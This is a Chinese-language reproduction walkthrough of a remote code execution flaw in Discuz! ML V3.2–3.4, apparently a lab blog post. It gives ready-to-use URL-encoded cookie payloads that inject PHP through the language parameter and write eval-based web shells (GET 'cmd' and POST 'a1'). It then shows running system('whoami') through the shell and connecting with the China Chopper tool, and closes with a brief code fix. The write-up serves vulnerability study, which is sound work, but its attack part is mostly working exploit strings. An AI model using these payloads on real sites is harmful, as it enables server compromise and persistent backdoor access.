Discuz! ML RCE漏洞 getshell 复现
0x00 影响版本
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区，漏洞版本如下：
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
0x01 环境搭建
使用phpstudy搭建：直接官网下载即可http://discuz.ml/download，将压缩包解压至phpstudy网站根目录，浏览器访问upload目录即可开始安装
0x02 漏洞复现
左上角有语言图标，随便选择一种语言并抓包
将抓到的包发送到repeater模块
将包中cookie的xxxxx_language参数值改为 '.phpinfo().' ，可以看到成功执行了代码，得到了phpinfo信息，如下图
0x03 Getshell
EXP：
解码后：
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
解码前：
'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')
将包中cookie的xxxxx_language参数值改为exp，可以看到成功执行了代码，在文件夹中多出了shell.php文件，如下图：
在url中访问http://192.168.1.9/vot-discuz.ml-fa108dcc726d/upload/shell.php?cmd=system(%27whoami%27);
可以看到执行了命令。
Exp：
%27.+file_put_contents%28%27shelll.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
原语句：
<?php eval($_POST["a1"]);?>
将包中cookie的xxxxx_language参数值改为exp，可以看到成功执行了代码，在文件夹中多出了shelll.php文件，如下图
访问该文件，发现该文件被执行。
使用菜刀成功连接：
0X03 修复建议
建议修改source/function/function_core.php 644行为：
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
删除可控变量。
或者安装最新补丁。